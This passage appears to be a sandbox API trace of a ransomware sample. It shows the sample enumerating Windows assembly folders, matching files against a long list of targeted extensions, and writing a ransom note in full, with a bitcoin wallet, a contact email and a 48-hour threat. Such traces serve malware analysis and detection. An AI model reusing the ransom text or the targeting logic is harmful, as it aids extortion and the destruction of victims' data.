returned 5 [0099.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.odg") returned 0 [0099.893] lstrlenA (lpString="*.odg") returned 5 [0099.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.raw") returned 0 [0099.893] lstrlenA (lpString="*.raw") returned 5 [0099.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.nef") returned 0 [0099.893] lstrlenA (lpString="*.nef") returned 5 [0099.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.svg") returned 0 [0099.893] lstrlenA (lpString="*.svg") returned 5 [0099.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.psd") returned 0 [0099.893] lstrlenA (lpString="*.psd") returned 5 [0099.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.vmx") returned 0 [0099.893] lstrlenA (lpString="*.vmx") returned 5 [0099.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.vmdk") returned 0 [0099.893] lstrlenA (lpString="*.vmdk") returned 6 [0099.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.vdi") returned 0 [0099.893] lstrlenA (lpString="*.vdi") returned 5 [0099.894] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.lay6") returned 0 [0099.894] lstrlenA (lpString="*.lay6") returned 6 [0099.894] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.mpeg") returned 0 [0099.894] lstrlenA (lpString="*.mpeg") returned 6 [0099.894] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.djvu") returned 0 [0099.894] lstrlenA (lpString="*.djvu") returned 6 [0099.894] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.tiff") returned 0 [0099.894] lstrlenA (lpString="*.tiff") returned 6 [0099.894] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.backup") returned 0 [0099.894] lstrlenA (lpString="*.backup") returned 8 [0099.894] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.pdf") returned 0 [0099.894] lstrlenA (lpString="*.pdf") returned 5 [0099.894] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.cert") returned 0 [0099.894] lstrlenA (lpString="*.cert") returned 6 [0099.894] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.docm") returned 0 [0099.894] lstrlenA (lpString="*.docm") returned 6 [0099.894] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.xlsm") returned 0 [0099.895] lstrlenA (lpString="*.xlsm") returned 6 [0099.895] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.dwg") returned 0 [0099.895] lstrlenA (lpString="*.dwg") returned 5 [0099.895] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.nd") returned 0 [0099.895] lstrlenA (lpString="*.nd") returned 4 [0099.895] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.tlg") returned 0 [0099.895] lstrlenA (lpString="*.tlg") returned 5 [0099.895] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.lgb") returned 0 [0099.895] lstrlenA (lpString="*.lgb") returned 5 [0099.895] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.mov") returned 0 [0099.895] lstrlenA (lpString="*.mov") returned 5 [0099.895] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.xdw") returned 0 [0099.895] lstrlenA (lpString="*.xdw") returned 5 [0099.895] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.ods") returned 0 [0099.895] lstrlenA (lpString="*.ods") returned 5 [0099.895] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.wav") returned 0 [0099.895] lstrlenA (lpString="*.wav") returned 5 [0099.895] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.mp3") returned 0 [0099.895] lstrlenA (lpString="*.mp3") returned 5 [0099.896] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.aiff") returned 0 [0099.896] lstrlenA (lpString="*.aiff") returned 6 [0099.896] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.flac") returned 0 [0099.896] lstrlenA (lpString="*.flac") returned 6 [0099.896] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.m4a") returned 0 [0099.896] lstrlenA (lpString="*.m4a") returned 5 [0099.896] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", pszSpec="*.csv") returned 0 [0099.896] lstrlenA (lpString="*.csv") returned 5 [0099.896] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb5b7205, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0xacec9500, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0xac41f505, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.dll", cAlternateFileName="")) returned 0 [0099.896] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0099.896] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 0 [0099.896] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0099.897] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x382e2403, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x382e2403, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x382e2403, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69006c, dwReserved1=0x720063, cFileName="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources", cAlternateFileName="MICROS~2.RES")) returned 1 [0099.897] lstrcmpA (lpString1=".", lpString2="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources") returned -1 [0099.897] lstrcmpA (lpString1="..", lpString2="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources") returned -1 [0099.897] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0099.897] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources" [0099.897] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources") returned 88 [0099.897] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x382e2403, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x382e2403, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x382e2403, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0099.898] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0099.898] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x382e2403, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x382e2403, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x382e2403, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.898] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0099.898] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0099.898] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x382e2403, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef066a4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef066a4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1.0.0.0_en_31bf3856ad364e35", cAlternateFileName="100~1.0_E")) returned 1 [0099.899] lstrcmpA (lpString1=".", lpString2="1.0.0.0_en_31bf3856ad364e35") returned -1 [0099.899] lstrcmpA (lpString1="..", lpString2="1.0.0.0_en_31bf3856ad364e35") returned -1 [0099.899] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\*.*") returned="*.*" [0099.899] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\", lpString2="1.0.0.0_en_31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35" [0099.899] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35") returned 116 [0099.899] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x382e2403, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef066a4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef066a4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.175] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.175] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x382e2403, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef066a4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef066a4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.175] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.175] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.175] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", cAlternateFileName="")) returned 1 [0100.175] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.175] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll") returned -1 [0100.175] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll") returned -1 [0100.175] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll") returned -1 [0100.175] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\*.*") returned="*.*" [0100.175] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\" [0100.175] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\") returned="" [0100.175] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0100.176] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.windows.diagnosis.commands.getdiaginput.resources\\1.0.0.0_en_31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0100.176] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.windows.diagnosis.commands.getdiaginput.resources\\1.0.0.0_en_31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.177] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0100.177] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.180] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.180] CloseHandle (hObject=0x90) returned 1 [0100.181] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\", lpString2="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll" [0100.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.ems") returned 0 [0100.181] lstrlenA (lpString="*.ems") returned 5 [0100.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.db") returned 0 [0100.181] lstrlenA (lpString="*.db") returned 4 [0100.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.dbf") returned 0 [0100.181] lstrlenA (lpString="*.dbf") returned 5 [0100.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.myox") returned 0 [0100.181] lstrlenA (lpString="*.myox") returned 6 [0100.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.myo") returned 0 [0100.181] lstrlenA (lpString="*.myo") returned 5 [0100.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.qbw") returned 0 [0100.181] lstrlenA (lpString="*.qbw") returned 5 [0100.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.qbb") returned 0 [0100.182] lstrlenA (lpString="*.qbb") returned 5 [0100.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.qbm") returned 0 [0100.182] lstrlenA (lpString="*.qbm") returned 5 [0100.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.qbo") returned 0 [0100.182] lstrlenA (lpString="*.qbo") returned 5 [0100.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.qbx") returned 0 [0100.182] lstrlenA (lpString="*.qbx") returned 5 [0100.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.qba") returned 0 [0100.182] lstrlenA (lpString="*.qba") returned 5 [0100.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.qby") returned 0 [0100.182] lstrlenA (lpString="*.qby") returned 5 [0100.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.qbj") returned 0 [0100.182] lstrlenA (lpString="*.qbj") returned 5 [0100.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.ofx") returned 0 [0100.182] lstrlenA (lpString="*.ofx") returned 5 [0100.182] PathMatchSpecA 